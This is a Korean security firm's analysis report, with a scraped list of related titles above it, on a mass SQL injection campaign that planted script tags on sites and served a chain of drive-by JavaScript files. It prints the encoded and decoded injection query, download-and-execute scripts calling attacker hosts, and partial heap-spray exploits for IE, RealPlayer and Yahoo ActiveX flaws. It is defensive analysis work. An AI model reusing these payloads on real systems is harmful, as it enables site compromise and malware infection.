SKINFOSEC_TECH_005_China Bot_가칭_ 악성코드 분석_v0.3.doc

Similar documents
ÀÎÅÍ³Ý ÁøÈï¿ø 3¿ù ÀúÇØ»ó

Microsoft Word - Mass SQL Injection_v.1.3._.doc

Microsoft Word - ANI 취약점.doc

Microsoft Word - Heap_Spray.doc

Javascript.pages

Black Hole Exploit Kit PDF Exploit $selectedexploit =? 3 or 4 /games/pdf.php /games/pdf2.php CVE , CVE , CVE , CVE

(Microsoft PowerPoint - NRMWFKPIIYBC [\310\243\310\257 \270\360\265\345])

** 5 개이발생한주요소프트웨어별취약점세 EDB 번호취약점종류공격난이도공격위험도취약점이름소프트웨어이름

2006_8_14 (8_17 updated) ms ¿ú(wgareg.exe) ºÐ¼® º¸°í¼�.hwp

< F33BFF920C0CEC5CDB3DD20C4A7C7D8BBE7B0ED20B5BFC7E220B9D720BAD0BCAEBFF9BAB828C3D6C1BEBABB292E687770>

쉽게 풀어쓴 C 프로그래밍



Microsoft Word - SKINFOSEC-CHR-026- Mass SQL Injection 탐지 우회분석 보고서.doc

< 목차 > 1. 악성코드은닉동향요약 1 2. 홈페이지은닉형악성코드통계 2 - 유포지탐지 국가별현황 2 - 대량경유지가탐지된유포지 TOP 악성코드유형별비율 4 - 악성코드취약점유형별비율 4 - 악성코드수집및분석결과 5 - 경유지탐지 업종별비율 9 3. 악성코

UDP Flooding Attack 공격과 방어

ÀÎÅÍ³Ý ÁøÈï¿ø 5¿ù

*2008년1월호진짜


13주-14주proc.PDF

Microsoft Word - poc_script1.doc

XSS Attack - Real-World XSS Attacks, Chaining XSS and Other Attacks, Payloads for XSS Attacks

Deok9_Exploit Technique

Modern Javascript

*****

untitled

제이쿼리 (JQuery) 정의 자바스크립트함수를쉽게사용하기위해만든자바스크립트라이브러리. 웹페이지를즉석에서변경하는기능에특화된자바스크립트라이브러리. 사용법 $( 제이쿼리객체 ) 혹은 $( 엘리먼트 ) 참고 ) $() 이기호를제이쿼리래퍼라고한다. 즉, 제이쿼리를호출하는기호

< FBFF9B0A320BEC7BCBAC4DAB5E520C0BAB4D0BBE7C0CCC6AE20C5BDC1F620B5BFC7E220BAB8B0EDBCAD283131BFF E302028C8A8C6E4C0CCC1F620BEF7B

untitled

취약점분석보고서 [Photodex ProShow Producer v ] RedAlert Team 안상환

로거 자료실

SKINFOSEC-CHR-028-ASP Mssql Cookie Sql Injection Tool 분석 보고서.doc

PowerPoint 프레젠테이션

슬라이드 1

Microsoft PowerPoint 세션.ppt

< FC8A8C6E4C0CCC1F620B0B3B9DF20BAB8BEC8B0A1C0CCB5E5C3D6C1BE28C0FAC0DBB1C7BBE8C1A6292E687770>

Ext JS À¥¾ÖÇø®ÄÉÀ̼ǰ³¹ß-³¹Àå.PDF

ActFax 4.31 Local Privilege Escalation Exploit

Lab10

` 동향보고서 1. 악성코드은닉동향요약 3 2. 홈페이지은닉형악성코드통계 악성코드유포지현황 6 - 유포지탐지현황 6 - 대량경유지가탐지된유포지 TOP 악성코드취약점및취약한 S/W 악용현황 8 - 악성코드유형별비율 9 - 위협 IP 및도메인현황 10

목 차 1. 개 요 배경 요약 정보 대상시스템 원리 공격 기법 및 기본 개념 Heap Spray Font 공 격..

untitled

SIGPLwinterschool2012

공지사항

PowerPoint 프레젠테이션

쉽게 풀어쓴 C 프로그래밍

90

KARAAUTO_4¿ù.qxd-ÀÌÆå.ps, page Normalize

커알못의 커널 탐방기 이 세상의 모든 커알못을 위해서

Dialog Box 실행파일을 Web에 포함시키는 방법

( )업계소식

( )전국네트워크


( )업계소식

( )업계소식(14.01월)

10.ppt

(Humphery Kim) RAD Studio : h=p://tech.devgear.co.kr/ : h=p://blog.hjf.pe.kr/ Facebook : h=p://d.com/hjfactory :

var answer = confirm(" 확인이나취소를누르세요."); // 확인창은사용자의의사를묻는데사용합니다. if(answer == true){ document.write(" 확인을눌렀습니다."); else { document.write(" 취소를눌렀습니다.");

SOFTBASE XFRAME DEVELOPMENT GUIDE SERIES HTML 연동가이드 서울특별시구로구구로 3 동한신 IT 타워 1215 호 Phone Fax Co

MySQL-.. 1

第 1 節 組 織 11 第 1 章 檢 察 의 組 織 人 事 制 度 등 第 1 項 大 檢 察 廳 第 1 節 組 대검찰청은 대법원에 대응하여 수도인 서울에 위치 한다(검찰청법 제2조,제3조,대검찰청의 위치와 각급 검찰청의명칭및위치에관한규정 제2조). 대검찰청에 검찰총장,대

PowerPoint 프레젠테이션

<C0CCBCBCBFB52DC1A4B4EBBFF82DBCAEBBE7B3EDB9AE2D D382E687770>

제목을 입력하세요.

11장 포인터

AhnLab_template

월간악성코드은닉사이트탐지 동향보고서 9 월 침해대응단사이버침해대응본부


자식농사웹완

chungo_story_2013.pdf

*중1부

2

Çѱ¹ÀÇ ¼º°øº¥Ã³µµÅ¥

...._



전반부-pdf

표1.4출력

003-p.ps

<4D F736F F F696E74202D20312E20B0E6C1A6C0FCB8C15F3136B3E2C7CFB9DDB1E25F325FC6ED28C0BA292E >

_

12월월간보고서내지편집3

중앙도서관소식지겨울내지33

에너지포커스 2007년 가을호


01_당선자공약_서울

인권문예대회_작품집4-2




목차

A°ø¸ðÀü ³»Áö1-¼öÁ¤

±¹³»°æÁ¦ º¹»ç1

¿¡³ÊÁö ÀÚ¿ø-Âü°í ³»Áö.PDF

전반부-pdf

뉴스레터6호

Microsoft PowerPoint 하반기 크레딧 전망_V3.pptx

50차 본문 최종

양성내지b72뼈訪?303逞

³»Áöc03âš

Transcription:

SKInfosec-Tech-005 China Bot( 가칭 ) 악성코드분석 한상흠, 황교국 (m4gichack@gmail.com, fullc0de@gmail.com) SK Infosec Co., Inc MSS 사업본부침해대응팀

Table of Contents 1. 개요...3 2. MSSQL2005 취약점...4 3. 악성코드분석...7 3.1. 0.js...8 3.2. 0.js -> w.js...9 1) 1.exe...10 3.3. w.js->007.js...11 3.4. 007.js -> real007.html...11 3.5. real007.html...12 1) 06014.js...12 2) real.js...13 3) 07055.js...14 4) yahoo.js...15 3.6. hehehehe.exe...16 4. 마치며...17 5. Reference...17 2

1. 개요 뉴스를보면, 변종차이나봇이 MSSQL2005 를감염시켜 7 만여개의사이트를감염시켰다 는기사가발표가되었다. MSSQL2005 의취약점을이용을하였다는것으로이해가될수있다. 슬래머웜처럼 MSSQL 의취약점을노린봇이라면굉장히위험한것으로판단되어관련된내용을좀더 분석하여보았다. 해외뉴스레터인 Sans News Letter에도보고가되었으며 http://www.sans.org/newsletters/newsbites/newsbites.php?vol=10&issue=2&portal=18568 e8354c1477939922bd793b68360#sid200 링크를눌러보면확인을할수있다. 본문은 MSSQL 2005 에국한된것이아니라 Sql injection 공격에의해스크립트가삽입되 는공격위주로설명을하였다. 3

2. MSSQL2005 취약점 Microsoft 사의 security 권고문을보면현재 MSSQL 2005 의취약점이발표되지않음을 알수있다. http://www.microsoft.com/technet/security/current.aspx [ 그림 1. mssql 관련취약점권고 ] 4

각종취약점에대한 exploit 이올라와있는 milw0rm 사이트를검색해본결과 POC 조차도 올라와있지않았다. http://cve.mitre.org/cve/ 등에도취약점에대한권고문은찾아볼수 없었다. [ 그림 2. www.milw0rm.com] 5

이와관련하여 IIS 의보안로그를확보하였으며 sql injection 공격이인코딩되어있는 형태임을확인할수있다. POST /crapxxxtxxx.asp;declare%20@s%20nvarchar(4000);set%20@s=cast (0 4400450043004C004100520045002000400054002000760061007200630068006100720028003 2003500350C004000430020007600610072006300680061007200280032003500350029002000440 0450043004C0041005200450020004E004500580054002000460052004F004D00200020005400610 062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C00400 04300200045004E004400200043004C004F005300450020005400610062006C0065005F004300750 0720073006F00720020004400450041004C004C004F00430041005400450020005400610062006C0 065005F0043007500720073006F007200%20AS%20NVARCHAR(4000));EXEC(@S); 178 80040e14 Unclosed_quotation_mark S_NVARCHAR(4000);SET_@S=CAST(0 44004500430 xxx 3002000 디코딩을하면 SQL injection 쿼리를통하여공격이수행되고있음을알수있다. DECLARE @T varchar(255),@c varchar(255) DECLARE Table_Cursor OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar,['+@C+']))+''<script rc=http://*.uc8010.com ></script>''') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor DECLARE @T varchar(255),@c 6

3. 악성코드분석 여전히 MSSQL2005에대한취약점을이용하였다는것은불분명하였지만확인된내용은 sql injection 쿼리가 http://*. uc8010.com 을취약점이있는모든필드에업데이트를하고있는형태로공격이되고있음을확인할수있었다. 과연이사이트는어떤내용포함하여감염시키고있을까? 전체적인감염 FLOW 는아래와같다. [ 그림 3. Malware 감염 FLOW] 7

3.1. 0.js function setcookie(name,value) { document.cookie = name + "="+ escape(value) +";expires="+ exp.togmtstring(); function getcookie(name) { var arr = document.cookie.match(new RegExp("(^ )"+name+"=([^;]*)(; $)")); if(arr!= null) { return unescape(arr[2]); else { document.writeln("<script src=hxxp://www.xxx.com/w.js><\/script>"); // document.writeln("<iframe src=\" hxxp://www.xxx.com/xxx.aspx\" width=\"20\" height=\"0\" scrolling=\"no\" frameborder=\"0\"><\/iframe>"); setcookie("lin","ok"); return null; getcookie("lin") 쿠키를만들어보내고있음을알수있으며 w.js 라는파일을실행시키는것을알수있다. 8

3.2. 0.js -> w.js document.writeln("<iframe src=http://www.xxx.com/1.html width=1 eight=0><\/iframe>"); document.writeln("<script src=\ http://www.xxx.com/.php?id=742266&web_id=742266\' language=\'javascript\' charset=\'gb2312\'><\/script>"); document.writeln("<script src= http://www.xxx.com /007.js' language=\'javascript\'><\/script>"); eval("\146\165\156\143\164\151\157\156\40\147\156\50\162\122\141\ 107\105\171\153\125\61\51\15\12\173\15\12\166\141\162\40\117\ \156\105\50\42\150\164\164\160\72\57\57\143\56\165\143\70\60\61 \60\56\143\157\155\57\60\57\61\56\145\170\145\42\54\42\61\71\5 6\145\170\145\42\51\73") w.js 파일을열면또다른취약점을이용하기위한코드를볼수있으며 eval 구문을디코딩해보면아래와같다. var chenzi=window["document"]["createelement"]("object"); love["savetofile"](china,2); love["close"](); var SmAcqIwGV8=chenzi["CreateObject"]("Shell.Application",""); exp1=hhf$r6["buildpath"](vgdnzxht7+'\\system32','cmd.exe'); SmAcqIwGV8["ShellExecute"](exp1,' /c '+china,"","open",0)catch(i){i=1 DownE("http://www.xxx.com/1.exe","19.exe"); 1.exe 파일을실행시키는것을알수있다. 9

1) 1.exe 1.exe 파일이실행되면레지스트리에 InProc서비스로등록하며 ShellExecuteHooks레지스트리에목록을추가한다. 즉, rundll32.exe를통해 InProc 서비스로등록되며시스템재시작시재등록되기위해레지스트리를수정한다. 윈도우즈전역후킹을통해시스템메시지를수신하여조작하는것으로판단된다. [ 그림 4. 메시지전역후킹화면 ] [ 그림 5. 서비스로레지스트리에등록 ] 10

3.3. w.js->007.js document.writeln("<iframe src=http://xxx.xxx.com/ real007.html width=1 height=0><\/iframe>"); document.writeln("<script language=\"javascript\" src=\"http:// xxx.xxx.com//click.aspx?id=83013911&logo=1\"><\/script>"); 을호출하고있다. 3.4. 007.js -> real007.html Real007.html 은아래의파일들을불러오는것을알수있다. <script src=06014.js></script> <script src=real.js></script> <script src=07055.js></script> <script src=yahoo.js></script> <script language="javascript" src="http://xxx.xxx.com/83013911&logo=1"></script> 11

3.5. real007.html 1) 06014.js MS06-014 취약점을노리는페이지임을알수있다. http://www.microsoft.com/korea/technet/security/bulletin/ms06-014.mspx <script> document.writeln("<script>"); document.writeln("cuteqq='http://xxx.xxx.com/hehehehe.exe';"); document.writeln("qq784378237=\'c:\\\\microsoft.pif\';"); document.writeln("cuteqq784378237=\'c:\\\\microsoft.vbs\';"); document.writeln("cuteqqzf=\"set Cuteqqcn = document.writeln("smacqiwgv8[\"shellexecute\"](exp1,\' \/c echo cmd.exe \/c C:\\\\MicroSoft.pif >C:\\\\MicroSoft.bat\',\"\",\"open\",0);"); document.writeln("<script type=\"text\/jscript\">function init() { document.write(\"\");window.onload = init;<\/script>"); document.writeln("<body oncontextmenu=\"return false\" onselectstart=\"return false\" ondragstart=\"return false\">"); document.writeln("<\/pre><\/body>"); document.writeln(""); </script> 12

2) real.js 리얼플레이어를노리는 exploit 임을알수있다. <script language="javascript"> function RealExploit() { RealVersion = Real.PlayerProperty("PRODUCTVERSION"); Padding = ""; JmpOver = unescape("%75%06%74%04"); for(i=0;i<32*148;i++) Padding += "S"; AdjESP = "LLLL\\XXXXXLD"; Shell ="TYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIxkR0qJPJP3YY0fNYwLEQk0p47z pfkrkjjkve9xjkyoioyoloocqv3vsvwlurkwrvavbfqvjmwvszzmfv0z8k8mwvpnxmmn8 mdubzjmebshun3uluhmfxw6pemmzm7xprf5nkdpp107zmpye5mmzmj44lqxgonukptrr u33utnsspnvoqxqu1xperhpee8qutn55d83umpgp"; Real.Import("c:\\Program Files\\NetMeeting\\TestSnd.wav", PayLoad,"", 0, 0); RealExploit(); </script> 13

3) 07055.js MS07-055 취약점을노리는페이지임을알수있다. http://www.microsoft.com/technet/security/bulletin/ms07-055.mspx <html> <head> <title>microsoft Internet Explorer TIF/TIFF Code Execution (MS07-055)</title> <script language="javascript"> var memory = new Array(); function getsprayslide(sprayslide, sprayslidesize) { while (sprayslide.length*2<sprayslidesize) { sprayslide += sprayslide; sprayslide = sprayslide.substring(0,sprayslidesize/2); return sprayslide; sprayslide = getsprayslide(sprayslide,sprayslidesize); heapblocks = (heapspraytoaddress - 0x400000)/heapBlockSize; for (i=0;i<heapblocks;i++) { memory[i] = sprayslide + payloadcode; return 0; makeslide(); </script> </head> <body> <img src="ms07-055.tif"> </body> </html> 14

4) yahoo.js 이것은 Yahoo 0day Ywcupl.dll ActiveX Exploit Download And Exec를이용하여악성파일을다운로드시키는형태이다 <html> <object classid="clsid:dce2f8b1-a520-11d4-8fd0-00d0b7730277" id='viewme'></object> <body> <SCRIPT language="javascript"> var shellcode = unescape("%u9090%u9090%u9090%u9090" + "%u54eb%u758b%u8b3c%u3574%u0378%u56f5%u768b%u0320" + bigblock = unescape("%u9090%u9090"); headersize = 20; slackspace = headersize+shellcode.length; while (bigblock.length<slackspace) bigblock+=bigblock; fillblock = bigblock.substring(0, slackspace); block = bigblock.substring(0, bigblock.length-slackspace); while(block.length+slackspace<0x40000) block = block+block+fillblock; memory = new Array(); for (x=0; x<500; x++) memory[x] = block + shellcode; var buffer = '\x0a'; while (buffer.length < 5000) buffer+='\x0a\x0a\x0a\x0a'; viewme.server = buffer; viewme.initialize(); viewme.send(); </script> </body> </html> 15

3.6. hehehehe.exe 주요공격코드 4가지는모두특정도메인으로부터 hehehehe.exe을다운로드하도록설계되어있다. 해당파일을실행한결과국내특정게임을공격하는악성프로그램임을알수있다. [ 그림 6. system.dll] [ 그림 7. 레지스트리생성, 제거 ] [ 그림 8. 게임관련공격 ] 바이너리파일을분석한결과국내게임프로그램을공격한악성프로그램임을확인하였지 만또다른프로그램들을타겟으로공격하는것들이분명존재할것이다. 16

4. 마치며 이로써 http://*. uc8010.com는여러형태의악성코드를뿌리고있는사이트로분석이마쳤다. 취약점이있는 PC 등을감염시키기위하여여려가지형태의공격을하고있는것을알수있다. 전통적으로 IE 취약점을노리고있었지만사용자들이많이쓰고있는어플리케이션취약점을이용하여감염을시키려고하는것을알수있었다. IE 보안패치뿐만아니라각종어플리케이션의보안패치도생활화하여야할것이다. 5. Reference http://english.zhuaxia.com/pre_channel http://www.castlecops.com/ 17